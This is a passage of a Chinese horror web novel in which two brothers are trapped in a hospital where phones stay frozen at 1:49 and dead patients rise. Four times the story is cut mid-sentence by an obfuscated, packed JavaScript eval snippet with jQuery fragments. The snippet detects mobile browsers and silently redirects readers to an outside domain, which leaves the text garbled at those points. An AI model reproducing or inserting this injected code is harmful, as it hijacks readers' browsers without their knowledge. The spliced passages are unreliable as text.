“我手机可能坏了,显示的一点四十九,医院的时间是四点。”蔚远说,“哥你咋知道时间不对?” “你继续说。”蔚迟在他长达五分钟的絮叨中连他吃的什么牌子的冰棍都知道了,脑仁疼,又添一句,“捡重点说。” 蔚迟便继续讲。 他从休息室出来一个人都没遇到,想起今天的实习内容是去住院部查房,有前辈说要带他去,约的时间是三点,他现在赶过去也许还能在解散的时候露个脸,就带着前一天发的查房时间表去了。 蔚迟:“查房时间表?” 蔚远从后腰抽出几张订在一起的纸,交给他:“就是这个。” 蔚迟用衣服笼着电筒光,看了起来。 蔚远继续在说:他去住院部之前去了个厕所,结果厕所里挤了一堆人,竟然还有女的!一群人见了他就跟见了鬼一样,他才见鬼了好吗?那里明明是男厕所!然后他通过天桥来到住院部,往门里一看——他的同事正在砍病人。 “然后我就跑啦!”蔚远还挺兴奋,“我从各种蛛丝马迹中推测出——这医院出不去了,然后凭借着聪明才智和这张表,与那些怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他想跑,但身下都是血,太滑了,怎么也爬不起来。然后他感觉到了一丝风,他心中知道,是“它”来了。“它”蹲下身抚摸他的脸,他鼓起勇气抬头看“它”,认出是周迎春。他眼泪一下子就下来了,叫了一声妈,周迎春忽然笑起来,嘴角咧到耳根,然后反手一刀插在了他的大腿上。 “哥!哥!醒醒!哥!” 蔚迟过了好一阵才听出这是蔚远的声音,慌得一批,还带点哭腔。蔚迟想说你别戳我大腿了,这地方连着我腰上的筋,好疼。 ——还好是梦。 蔚远压着嗓子还破了音:“哥!醒醒!哥……” 蔚迟睁开眼看了天花板三秒,发现自己正躺在冰冷的地上,猛然想起这不是梦。 他依稀觉得视线有些不对,还没想清楚,撑起身,腰上的骨头“啪嗒”一响,给他疼得,什么也没法想了。 蔚远狂拉他的袖子,还是那要哭不哭的声音:“哥哥哥……” 他按着刺痛的太阳穴,骂道:“干什么?慌慌慌!慌个屁!” 蔚远不说话了,拽着他的袖子往床上指。 蔚迟一看,心脏顿时一凉,整个人朝后猛退,把蹲着的蔚远也给撞倒了,两兄弟滚作一团。 他算是知道为什么刚刚觉得视线有点不对了…… 床上那几个死人都坐了起来。 三个人,整整齐齐,后背笔直,坐了一排。 7. 市二院7 床上那几个死人都坐了起来。 三个人,整整齐齐,后背笔直,坐了一排。 蔚迟感觉心脏有那么几秒钟确实是不跳了,抽了一口气后才猛跳起来,这种情况再多来几回,少不得要英年猝死。 蔚远拉出一道百转千回的哭腔:“哥……” 蔚迟头皮一麻:“滚,别恶心我。” 那些死人坐在床上,没有动静。 蔚迟谨慎地盯着他们,然后跟蔚远说:“扶我一下。” 蔚远刚刚在打小游戏,等过关动画的时候伸了个懒腰,余光看到床上的死人坐着,也不知道是什么时候坐起来的,他被吓得四肢僵硬,都快不会动了,连呼吸都不太会,登时觉得自己命不久矣。这会儿他哥醒了,挡在他前面,他又觉得没那么怕了。一边嘟囔着“刚还叫我滚呢”,一边扶着他哥,缓缓倒退出了病房。 那几个东西还是没动。 他们又查看了一下周围的病房,也是这个情况,死人都坐了起来。 蔚远:“哥,现在怎么办啊……” 他俩现在就站在走廊上,走廊很长,拐角很多,灯光惨白,给人非常强烈的不安定感。 蔚迟想了一会儿,病房里他们是不敢呆了,还是应该去个不封闭的、到处都能跑的地方:“去安全通道吧。” 两人去了三楼的安全通道间,上下都好跑,三楼跟六楼一样有天桥通往门诊,多一条路总归是好的。 安全通道是声控灯,他们进去的时候蔚迟绊了一下,不小心把灯弄亮了。两人紧张地等了一会儿,灯又熄了,没发生什么事。 蔚远倒是借着灯光看出他哥脸色不好,生出了一点微末的孝心:“哥,你睡吧,我看着。” 蔚迟的腰实在是太疼了,带着整条右腿都是麻的,大概睡着了能好点,也不推脱,就抱着自己在墙角蜷起来,睡了。 蔚迟是被一阵“哒、哒、哒”的敲击声惊醒的。 他悄悄地把眼睛先睁开一个缝,就看到蔚远在他旁边睡得打呼噜,登时觉得命丧于此,真的不冤,信他蔚远能办好事不如去信鬼。 蔚迟太累了,又闭上眼睛,没动。以他现在的身体状况,跑是不能跑了,算了,毁灭吧。 他眼睛闭着,注意力便不自觉地集中到了听力上,把那“哒、哒、哒”的敲击声听得更清楚了,过了一会儿,他意识到那是什么声音了。 是清洁工拖着拖把扫把上楼梯,扫把杆敲击在台阶上的声音。 蔚远正梦到自己在跟几个变了怪物的同事激战,在梦里他武功盖世、身轻如燕,脚尖轻轻一点就能腾空而起……嗯,没飞好,飞到悬崖下了,下坠几千米,落下去就醒了。 他一睁开眼睛就对上一双灰白色的老人眼,看起来白内障很严重的样子。 是个黑瘦的老清洁工正盯着他瞧。 “卧槽!”蔚远被吓得朝后一弹,撞到他哥的身上。 蔚迟不得已也睁开眼睛,看到那清洁工,心头一跳……这不是林富国昨天打死的那一个吗? 林富国都打得死她,那他们…… “噢哟,年纪轻轻的大小伙子,怎么睡在这里哦……”那清洁工说,“出去吧,我要打扫这里咯。” 蔚远不知道蔚迟他们昨天和清洁工的这一茬事,也不知道清洁工在这个恐怖世界里是个什么定位,点头如捣蒜:“好的。”他刚起来,睡得有点懵,又被这么一吓,一时间忘了他哥腰还废着,爬起来打开安全通道门就往外走,还招呼他哥:“哥,快过……”声音全卡在喉咙里。 这道门出去连着一间休息室,此时坐满了人,都在盯着他瞧。 蔚迟看着蔚远瞬间僵硬的背影,知道事情要遭。 清洁工还在赶他们:“快走,快走。” 蔚迟透过蔚远的腿缝看到了一双穿着制式皮鞋的脚,和一点白色裙边,知道是个护士走过来了,结果蔚远就像个被灯光照到的鹿一样僵在原地不敢动。 算了,毁灭吧。 他眼看着护士走到蔚远跟前,然后听到她说:“蔚远哥,你今天怎么来得这么早? “我、我……”蔚远吞了吞口水,回头看了蔚迟一眼,忽然想起他哥为什么还趴在地上,“……我带我哥来看腰。” “看腰怎么到住院部来了?”护士说,“这边是查饿血的地方哦。” 蔚迟还看到护士用笔头敲了敲蔚远的脑袋:“是不是又把部门分布图忘啦?” “没忘、没忘。”蔚远点头哈腰的说了一通甜言蜜语,把护士哄走了,跑回来扶蔚迟。 蔚迟想了想,问那个清洁工:“老人家,麻烦问一下,现在几点了?” 清洁工已经开始打扫起来,头也没抬:“七点多咯……诶让一让、让一让。” 蔚远问:“哥,你腰怎么样?” “不太好。”蔚迟基本半个人都挂在蔚远身上,被蔚远扶出安全通道,看到了面前的情形——查饿血就是指空腹抽血,一般早上六七点就有很多人来抽,是医院最早“开张”的部门。厅里密密麻麻放了几十张等候椅,已经坐了大半人,叫号的、咨询的、迟到的护士来来往往,没有青面的恶鬼、也没有流血事件,就像一个普通医院的普通早晨。 蔚迟还看到了厅上挂的大钟,显示七点十四分。 “这、这……”蔚远高考280的脑子终于跑完了全程、理顺了逻辑,看着眼前人来人往的场景,简直要热泪盈眶了,“哥!咱们、咱们回到现实世界了吗?” “不晓得。”蔚迟凉凉看他一眼,“我只晓得我的心没有你老人家的大,守夜的时候还能睡着,得亏你老人家福大命大,小弟跟着沾光,不然根本不晓得怎么死的。” 蔚远哈哈干笑两声:“哥……这个那个……我怕手机没电,也不敢打游戏,就坐在那儿……这、这凌晨三四点就是人的深度睡眠时间……”偷偷看了蔚迟,被发现了又低下头卖惨,“哥,你想想……我要是能忍着不睡,我的成绩也不至于这个样子……” 蔚迟竟然觉得他说得颇有道理。 “哥,别生气啦……” 蔚迟也没打算跟他掰扯下去,问:“刚那个护士是什么情况?” 蔚远:“谁知道?” 蔚迟:“不知道你跟她打情骂俏?” 蔚远:“我哪有打情骂俏?” 蔚迟:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350149|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有吗?” 蔚远:“我的说话风格就那样!” 收获他哥白眼一枚。 蔚迟懒得跟他多说:“行吧,她谁?” “不知道啊!”蔚远在他哥要杀人的眼刀下艰难地回忆起来,“好像、好像是哪个前辈吧?这几天见过几面,一副跟我很熟的样子,还老喜欢敲我的头,奇奇怪怪……算了不管她了,哥,咱们是不是活过一晚就回到现实世界了?能出去了不?” 蔚迟当然希望能出去,但他隐隐约约又觉得恐怕不能如愿……毕竟那个清洁工,的确是昨天林富国打死的那个。 这里连着三楼的天桥,可以看到院子里的一部分树梢,蔚迟观察过了,那些叶片好像一直没动。不过他也不敢确定,也许是早上没风呢?他的手机早没电了,就跟蔚远说,“看看时间。” 蔚远拿出手机看了看,声音发紧:“……一点四十九。” 蔚迟说:“我看还没有结束。” 来来往往的医护人员们已经与他们擦肩而过好几次了,看来确实没有攻击性。蔚迟想了一会儿,说:“我想去看看我妈。” 蔚远:“应该的、应该的。” 蔚远扶着蔚迟往门诊部走,还差一步就下天桥的时候蔚迟说:“要不就到这儿吧。” 蔚远没听懂:“什么?” “我一个人去吧。”蔚迟看着这个傻弟弟,其实他刚刚也纠结过要不要说,毕竟自己现在还行动不便……不然也不会要下天桥了才说,“护士变回来了,医生还不一定呢。” 蔚远愣了两秒,“嗐”了一声:“这有什么?我婶儿人那么好,还能吃了我不成?” 蔚迟张了张嘴,蔚远架着他就往前走:“哎哟,没事儿啦!哥啊,这我就要说说你了,你们这些高材生啊,老一步三思的,累不累啊?” 两人到了四楼妇科门诊,医生要八点才上班,诊室还没开门,但已经有几个人坐在椅子上等着了。看到蔚远扶着蔚迟过来坐着,都奇奇怪怪地打量了他俩。有个浓妆艳抹的阿姨还跨过两排椅子来跟他们说:“这是妇科。” “谢谢,我们知道。”蔚远大概是有什么一和女人说话就会变滑头的开关键,跟个大他好几轮的阿姨也能油腔滑调地聊开来。蔚迟听得无语至极,被吵吵得不行,终于打断道:“不好意思。” 阿姨正在讲海南的气候多么宜人政策多么支持应该去置办房产,被这么打断,有点不高兴地看过来:“怎么?” “劳驾。”蔚迟道,“请问一下现在几点了?” 阿姨看了一眼挂在前面的钟:“你自己不会看?” “我近视,看不清。”蔚迟说,“您有表吗?” 阿姨古怪地看他一眼,还是摸出自己的手机,给他展示了一下:“喏,七点四十六。” 蔚迟:“谢谢。” 蔚迟一直很礼貌,但声音太冷了,阿姨看他一眼,见好好一个漂亮小伙子,可惜一身生人勿进的颓样子,登时没了高谈阔论的兴致,很快就坐回前排了。 等她走了,蔚远绿着一张脸,问他哥:“哥……为什么我们还是一点四十九啊?” 蔚迟摇摇头,他也不知道。 8. 市二院8 医院似乎已经完全恢复了正常运转,八点多,妇科诊室的专家牌陆陆续续亮起了灯,但周迎春那间还没亮。蔚迟两只胳膊抵着膝盖,边等他妈边想事情。 一个路过的小护士看见了他,走过来:“迟哥,你怎么在这儿?” 蔚迟抬起头,认出她是周迎春的实习生,还是他妈的本家人,好像叫周莹:“我来找我妈。” “周老师今天是晚班啊。”周莹说,“你是不是记错了?” 蔚迟眉眼一动:“今天周几来着?” 周莹:“周三呀。” 周三……昨天是周二,蔚迟下午没课才能来给他妈送资料——所以医院里的时间是跟正常世界一样的。 蔚迟:“哦,那是我记错了。” 周莹:“嗯。” “对了。”蔚迟问,“你昨天来上班了吗?” 周莹:“昨天没排我班。怎么了?” “没什么,就昨天我来给我妈送资料,好像没看到你。”蔚迟冲她笑了笑,“谢谢啊,我晚点再过来。” 周莹点点头,但杵在原地没走,伸手把一边的头发撩到耳朵后面,露出一截雪白的脖子。想了一会儿,没话找话说:“迟哥,怎么想起这会儿过来?” 蔚迟:“找我妈有点事。” “哦。”周莹又站了一会儿,撩了撩头发,然后说,“那没什么事我就先去工作啦。” 蔚迟:“好的,麻烦你了。” “不麻烦。”周莹走了几步,又退回来,掏出手机,“要不你加我个微信,你想来的时候跟我说一声,我看看周老师在不在?” 蔚迟:“不好意思,手机刚没电了。” 周莹局促地又撩了撩头发:“哦这样啊……” “我手机有电啊。”蔚远忽然在旁边说,掏出手机点开微信点开二维码,动作熟练得吓人,“美女,要不你加我一个,有啥事我通知我哥。” “行啊……”周莹见过蔚远来找周迎春,但没说过话,“您是?” “我叫蔚远,这是我哥。”蔚远拍拍他哥的肩膀,莫名其妙还要加一句,“亲哥!” 周莹干干一笑,要去扫他的码,又没扫,抬头看向他:“蔚……” “蔚远。” “蔚远……你这?” “嗯?”蔚远一看自己手机,在二维码名片界面,自己的头像下面一片空白。他刷新了一下,看到一行灰字: 【网络不可用,请稍后重试】 “……”蔚远嘴角抽了抽,下一秒又切回油腔滑调模式,“哎呀,没话费了。” 等周莹走了,蔚远受到他哥的白眼洗礼。 “你说你怎么想的?”蔚迟简直就闹不明白了,“这都什么时候了尽给我整些有的没的?”蔚迟把蔚远的手机抽走,虽然知道不可能,还是拨通了周迎春的电话,凑在耳朵上。 蔚远知道自己干了蠢事,低眉顺眼的:“这不是……这不是人家姑娘对你有意思嘛……我这个做弟弟的,怎么也得帮哥哥一把啊……” 电话果然打不通,蔚迟烦躁地把手机丢回蔚远身上。 “命还要不要了?”蔚迟道,“是要命还是要姑娘了?” 蔚远:“牡丹花下死做鬼也风流……” 蔚迟抬手就要去打他,结果扯到腰,疼得龇牙咧嘴,忽然福至心灵:“你去给我挂个看腰的号。” 这大清早的就有人来看腰,前面排了六个号。蔚迟坐在候诊室,又装近视眼,跟旁边的人打听时间,都说是八点多,好像是正常时间。蔚迟刚刚瞟了一眼周莹的手机,上面也显示的8:07…… 蔚迟很想知道自己的设备会显示什么时间,蔚远说他的更衣柜里有充电宝,现在去拿了。 八点三十多的时候叫到蔚迟的号,他扶着墙走进诊室,医生还是个熟人,他妈的新男朋友。 “徐叔,早上好。” “哟,小迟啊。”徐医生走过来扶他,“你这是怎么了?” “摔了。” “来来来进来。” 徐医生把他扶到里面的床上去躺下,撩开他的衣服,又挎下他一半裤子:“怎么摔得这么严重?” 蔚迟也看到了自己后腰和大腿上的大片青紫,着实有点触目惊心:“跑太快了。” “年轻也要注意啊,现在有好些你们这个年纪的年轻人腰椎颈椎都有问题了。”徐医生开始检查他的骨头,揉按了一阵,给他疼得好险没叫出声。 “你这个恐怕是错位了。”徐医生说,“你等等,我准备一下。”说完就走到一边的铁桌前摆弄些什么,金属用具和托盘撞在一起,发出清脆的声音。 蔚迟看着徐医生的背影,有点犯嘀咕:我不是伤了腰吗?怎么还要准备些刀刀叉叉的? 铁桌旁边有一盏烤灯,是暖光,徐医生半边身体被笼罩在这光里,蔚迟看着,给烘得有些恍惚。下一刻,戴好手套和口罩的徐医生转回身来,脸上只露出眼睛周围的皮肤…… 是青的。 蔚迟吓得差点掉下床,还是徐医生上前来把他扯住的。 “小迟,怎么了?” 蔚迟骇得全身都在抖,但听着徐医生的声音还好,挺正常,就僵着脖子又看了他的脸一眼——好像也没那么青。 徐医生又问了一遍:“小迟,你怎么了?” “没什么。”蔚迟又躺回去,“眼花了。” 的确是眼花了,大概是那盏烤灯的光太暖了,导致他看其他东西都有些泛冷。 “你是不是最近压力有点大?”徐医生让他趴平,沾着药油的手开始在他的腰上揉按,“我瞧你脸色也不太好。” “嗯,可能有点。”蔚迟说,“有个课题挺麻烦的。” “还是要注意身体。”徐医生说,“不然你妈得多担心呐。” 蔚迟:“嗯。” 徐医生又问:“你妈呢?” “我妈今天晚班。”蔚迟说,“您不知道吗?” “嗯,最近有点忙,没怎么联系她。” “嗯……”蔚迟想了想,又问,“您昨天上班了吗?” 徐医生:“上了啊,全天呢,可没给我累死。” 蔚迟:“有发生什么事吗?” 徐医生:“什么事?” “什么都行。”蔚迟信口胡诌,“我就是看我妈昨天回家心情不是很好。” “哦,那可能是昨天晚饭没吃好吧。”徐医生说,“不知道食堂出了什么毛病,昨天晚饭全是内脏,你妈不是不爱吃内脏嘛。” 蔚迟感觉后背一凉。 徐医生又说:“对了小迟,谈朋友了吗?” 蔚迟:“没有,哪有时间?” 徐医生:“年轻人,还是应该多谈朋友……” 蔚迟:“嗯……我抽空再看吧……” “谈朋友哪能‘抽空’?” “没办法啊,总要先把课业完成吧。” “合理分配时间就行。”徐医生骄傲道,“你再忙不能有我们医学生忙吧?想当年… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350150|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 蔚迟正在心里嘀咕这人今天的话怎么这么多,然后腰上一阵剧痛,痛得他眼前一片白,简直要灵魂出窍。 “咔嚓——” 蔚迟发出被杀的猪一般的惨叫:“啊——” 原来人家跟他说这么多话,是在帮他分散注意力。 徐医生不愧是省内名医,把他错位的骨头掰正后,他的腰基本就好了,只是还有点酸。 他打开门出去,看到蔚远正一脸如丧考妣地站在骨科门口,战战兢兢地露了半张脸,见他出来,便喜出望外地扑过来:“哥——我以为你凉在里面了!” 蔚迟:“你能不能盼我点好?” “医生对你做什么了?”蔚远畏惧地看了看他刚出来的诊室门,“你都叫成那样了!” 蔚迟咳了一声,转移话题:“手机呢?” 蔚远把插在充电宝上的手机递给他,脸色不怎么好。 蔚迟按亮屏幕,蔚远已经给他的手机开机了,13:49几个数字清晰无比地躺在桌面上。 蔚远:“哥……咱们现在怎么办?” 蔚迟不动声色地把手机收起来。他想说不管怎样先去看看能不能出去,不能的话就去把今天的查房时间表搞到手,一转眼却看到一个人。那人窝在角落里,穿着一身在这个天气里显然过厚了一点的邋遢夹克外套,瞪着一双突出的眼睛看着病房门,又凶又孬的样子。 是林富国。 蔚迟想起,林富国昨天的确是说来医院看腰椎间盘的。 蔚迟走过去,对林富国道:“劳驾,方便问一下现在几点了吗?”蔚迟着重注意着林富国的表情,“不好意思啊,我的手机没电了。” 林富国奇怪地看他一眼,显然是不认识他,但还是掏出了自己有点破烂的手机,上面显示8:58,说:“差两分钟九点。” “谢谢。”蔚迟顺势坐在他旁边,“您也是来看腰的?” 林富国又看他一眼,觉得他很怪:“嗯。” “我也是。”蔚迟说,“我看您觉得面熟,但想不起来在哪里见过了。” 林富国警惕地抱胸,往后退了一点:“没见过吧。” 蔚迟点点头,非常平易近人的样子:“我就是听您口音,像我妈老家人,想说是不是老乡。” 林富国显然放松了一点,报了个县份名。蔚迟张嘴就来:“那是离我妈老家不远。” 蔚迟又和林富国攀谈了一会儿,然后回到蔚远身边,蔚远问怎么了,蔚迟理了一下思路道:“我昨天和他一起逃过命,但他显然已经不认识我了。我问他是不是今天第一次来看腰,他说昨天来过,但拍片子排了太久的队,拍完医生都下班了,只有今天再来看。也就是说,他记得自己昨天来过医院,但不记得下午发生了什么,也不记得我……也不是不记得,而是昨天下午在他的记忆里发生了别的事、正常的事。” 蔚远听着觉得瘆人,但想不太明白,就放弃了思考,等他哥给他总结清楚。 “他昨天的时间还是一点四十九。”蔚迟说,“但他昨天死了。” 蔚远:“……什么意思?” 蔚迟:“昨天他死了,我亲眼看见的。今天他的时间回到了正常时间线。” 两人沉默了一会儿。 蔚远吞了吞口水:“难道……要死一次,才能回到正常时间?” “我不知道。” 蔚迟烦躁地弄了弄头发,看着医院里来来往往的人。 难道真去死吗? 9. 市二院9 蔚迟他们走出骨科门诊,外面就是扶手电梯。蔚迟想了想,保险起见,还是别走电梯,转道去楼梯间,结果刚进去就撞见张宇凡和李夏。 李夏叫了他一声“迟哥”,张宇凡没出声,警惕地看着他。 他们警惕,蔚迟也警惕,现在根本没法确定对方还是不是活人。 蔚迟很自然地问:“你们的手机还有电么?” “有。”李夏低头就开始翻包包,被张宇凡一拦:“我们为什么要给你看?” 蔚迟:“确定一下你们还是不是活人。” 张宇凡表情有点扭曲:“……什么意思?” “我刚刚见到林富国了。”蔚迟说,“哦,你们可能不知道,昨天你们跑了之后,林富国替我死了。” 张宇凡吞了吞口水,往安全通道外面来来往往的人群看了一眼,抖了一下。 李夏把自己的手机递给蔚迟,张宇凡还想拦,被李夏一拍手腕打了回去。 蔚迟按亮屏幕,显示13:49。 张宇凡:“看手机就能分出是不是活人?” 蔚迟把手机还给李夏,没理张宇凡,跟蔚远说:“走吧。”抬腿就往楼下走。 “喂!”张宇凡十分不满,但被李夏拉着也跟了上来。 又往下走了一层半,李夏加快了脚步,凑到蔚迟身边:“迟哥……我们现在是要去哪儿啊?” “去看看大门能不能出去。”蔚迟对李夏没有意见,很正常地跟她交流,“你们昨天没再遇到什么事吧?” 李夏说他们昨天跑掉以后,就躲进了一间杂物间。中途有几个清洁工和护工进来拿过东西,但都是拿完就走了,没有在杂物间搜索。他们在杂物间躲到晚上,想出去的时候发现门被锁了,都到了今天早上才有个清洁工来打开的,一出来就发现世界好像变回来了。 “挺好。”蔚迟点点头,心想怎么自己就不能有这么平静的遭遇呢? “医生护士都变回来了。”张宇凡说,“你妈呢?去问问她怎么出去呗。” 蔚远听张宇凡说话就不得劲儿,正想骂什么你妈他妈的,被蔚迟拉了一下。他哥非常平静地跟那个讨人厌的家伙说:“去过了,她今天晚班,这会儿还没来医院。” 一行人走到一楼,发现昨天被护士留下一堆拳印的铁门上的痕迹都消失了,走出去,整个大厅焕然如初,所有的尸体和血迹都不见了。病人、医生、护士来来往往,挂号处挤满了人。蔚迟注意到,昨天炸了的那个穿红衣的FILA男坐在休息区,正翘着二郎腿打游戏。 大门敞开着,几人走过去,在门口站定。蔚迟仔细打量起外面的景物,很遗憾,是一帧静止的画面,明显得连蔚远都看得一清二楚:“……喷泉水都没有动。” 众人沉默。 大厅人来人往,但大门周围的这片区域却几乎无人涉足,所有人好像都默契地无视了这扇门。 “迟哥!” 蔚迟循声望去,只见元祁在一盆景观植物后面探头探脑,跟他对上视线,便一溜小跑冲到他面前,一脸喜出望外,“我可想死你啦!”说着就往蔚迟身上扑。 “诶诶诶你谁啊?”蔚远横跨一步挡在蔚迟面前,一只手按着元祁的额头给他推开,“离我哥远点啊,我哥金贵着呢,别想搞突然袭击。” “你又是谁?我找我迟哥关你什么事你给我让开——”元祁张牙舞爪地挥手,但因为被身高压制,根本碰不到蔚远。 蔚远:“什么你迟哥我迟哥的?迟哥是我一个人的哥——亲哥。” “我什么时候成你亲哥了?”蔚迟走上前,拎住元祁乱挥的一只手,看了看他手上的表,指针还是一点四十九。蔚迟把蔚远的手拍开,阻断了两人的幼稚行径,“行了,别在这儿现眼,我认得他。” 蔚远:“你什么时候背着我有了个好弟弟!” 蔚迟懒得理他,问元祁:“胡凯呢?” 元祁朝身后一指:“这不在那儿呢嘛。” 蔚迟一看,就是元祁冲出来的那盆植物后面,胡凯畏畏缩缩蹲在那儿。 得,这一大群拖油瓶又集合了。 蔚迟问元祁:“你们昨天后来没遇到什么事吧?” 元祁:“嗯,我们在楼梯间躲到今天早上。” 现在将近十点,蔚远在蔚迟的安排下去护士长那里骗查房时间表,其他人就在不远处的候诊室等着。蔚远进去了大概十分钟,就拿着一叠纸走了出来,还是年近四十风韵犹存的护士长亲自送出来的。 蔚迟看着蔚远踩着春风得意的步子走回来,心想大伯好像完全搞错了方向,给这小子整去当演艺明星或者牛郎指不定能给混个风生水起,结果非要从小捏着脖子学奥数。 蔚远吹着口哨走到他面前,把时间表往他手里一放:“搞定。” 蔚迟看他嘚瑟的样子,故意不理,忘了旁边还有个谁的臭脚都能捧的元祁,孩子真心诚意地赞美道:“远哥,你也好厉害!” 蔚远满足了:“那是!” 蔚迟翻了一下时间表,只有三到六层的,时间还是排到明早七点。 几个人几乎一整天没吃过饭,早就饿得前胸贴后背,李夏和张宇凡想去医院食堂看一看。蔚迟想起徐医生说的“内脏晚餐”,就完全不想去,跟其他几个人在休息区吃了点零食。元祁包里的零食没剩太多,这么多人吃最多再撑两天。 没过多久李夏和张宇凡回来了,脸色都不太好,原来今天食堂供应的荤菜还是内脏,蒸炒炖煮,打眼一看全是心。他们就没敢吃,在饮水间喝了一肚子热茶就又回来了。 元祁刚把东西收好,看他们回来,又看了蔚迟一眼,见蔚迟没有分他们零食的打算,就把拉链拉好,跟着蔚迟站起来。 蔚迟:“事情还没有结束,我现在比较担心的是——今天的一点四十九分会发生什么。” 几个人都看着他,没有说话,但都在听。 蔚迟看了一眼大厅的圆钟,显示11:30,说:“我想再去住院部看看。” 一行人便又回到住院部605病房——就是那三个老头的病房。路上遇到几个女护士,有两个还认识蔚远,要叫蔚远一起去查房。蔚远哪里敢去,打个哈哈搪塞过去,转头就把自己的护士服脱下来塞进元祁的书包。 蔚迟:“你说你才上三天班,怎么全医院的人都认识你?” 蔚远刚把书包拉链拉好:“不知道,可能就是受欢迎吧。” 三个老头都还好端端地坐在床上,扯着嗓子高谈阔论。蔚迟敲了几下门,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350151|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们完全听不见,就直接推门进去。老头们看过来,胖老头带头发言:“你们找谁?” 蔚迟扯谎的本事不怎么样,但总比说躲猫猫的要好,指着没人的那间床说:“晚点我家老爷子要住过来,我们先来给他看看床位。” 胖老头看着跟着他进来的一串人,道:“嚯哟,好大的阵仗。”转头又去跟他的两位老伙计道,“看看人家的崽子,我家那个,昨天说了三点要来看老子,最后几点来的?” 瘦老头说:“七点。” 胖老头:“什么玩意儿!” 元祁见了他们三个,很是有点亲切,凑上去:“爷爷,原来你们没事啊!”看到那三个老头疑惑的神情,又有点尴尬,“额,你们不记得我了吗?” 蔚迟还没跟元祁说林富国死而复生的事情,元祁自然也想不到那里去。 可能气氛实在尴尬,胖老头哈哈一笑:“小伙子看着面善,多半是见过的、见过的。” 元祁便灰溜溜地跑回蔚迟身边。 老头们又开始聊天,声音大、耳朵背,没再管蔚迟他们。 众人围住没人的那张床,蔚迟将床与床之间的帘子拉上,把之前遇到的事情和想法都说了一遍。他们现在这些人不知道发生什么变故就会走散,能多知道一点信息、多一个活下去的人也是好的。 张宇凡在听到人死而复生、时间恢复正常的时候敏锐地提出了疑问:“那是不是说,只要死一次就能回归正常?” 元祁看了张宇凡一眼,他觉得张宇凡的语气听起来叫人很不舒服。 蔚迟道:“这事情我不知道,你可以为大家试一试。” 张宇凡:“你怎么说话呢?” 蔚迟:“你不愿意去试,别人也不愿意,别想了。” “操!”张宇凡站起来去厕所,李夏拉了他一下,被甩开了。 张宇凡刚把厕所门摔上,蔚远就欠兮兮地问李夏:“你怎么跟这么个人渣在一起?” “他平时都挺好的……可能这几天压力太大了吧。”李夏的脸也有点挂不住,低下头,抚了抚小腹,“昨天查到的,我们都有宝宝啦。”她笑了一下,又低落下去,“哎……怎么会遇上这种事呢……” 众人沉默片刻,蔚远干巴巴道一句:“恭喜。” 李夏:“谢谢……我代他跟你们道个歉,他平时真不这样的。” “不必。”蔚迟把话题扭回正道上,接着分析说,他刚看了时间表,这间605要到晚上六点才有一次查房,所以就算昨天那样的情况出现了也不怕,医院里发生的事情还是有逻辑的,现在主要就是等着看今天的一点四十九会发生什么事。 众人也没有什么要补充的,就分散在门上的玻璃窗口的盲区里修整。张宇凡过了一会儿也出来了,去跟李夏黏在一起。 又过了一两个小时,蔚迟站起来去找昨天戴了表的那个瘦老头,问:“劳驾,叔,能问问几点了吗? 老头说:“墙上有表。” 蔚迟装模作样看了看,他想再确认一下老头的时间线:“这个好像坏了,您的表能看时间吗?” 瘦老头点点头,报道:“一点三十五。” 众人都肉眼可见地紧张起来。 离一点四十九不远了。 10. 市二院10 一点四十九分到了。 无事发生。 几个人又在605待到三点,蔚迟想出去查看一下情况,正好胖老头问了一句:“你们家老爷子什么时候来?这么多人在这儿等着,家里做什么的?” 蔚迟便说:“就到了,我马上出去接。” 蔚迟只带了蔚远,本来元祁也要跟着他的,张宇凡不依,说他把跟他最亲近的两个人带走了是想留其他人在这里等死,如果他非要带着这两人的话,那就大家一起。蔚迟无语得很,这么大一堆人出去,万一真有事不是又显眼又找死?在这间病房里至少六点以前是安全的呢。 张宇凡不信他,但元祁信他,听他说这间房六点以前是安全的,就决定跟张宇凡他们一起留下来等他们回来。蔚迟走的时候揉了揉元祁的头,看着元祁看自己的眼神,心想你们怎么就这么相信我呢?这一切都只是我的推论,要是真出事了,我其实谁也救不了。 就像刘琴,就像许白诗。 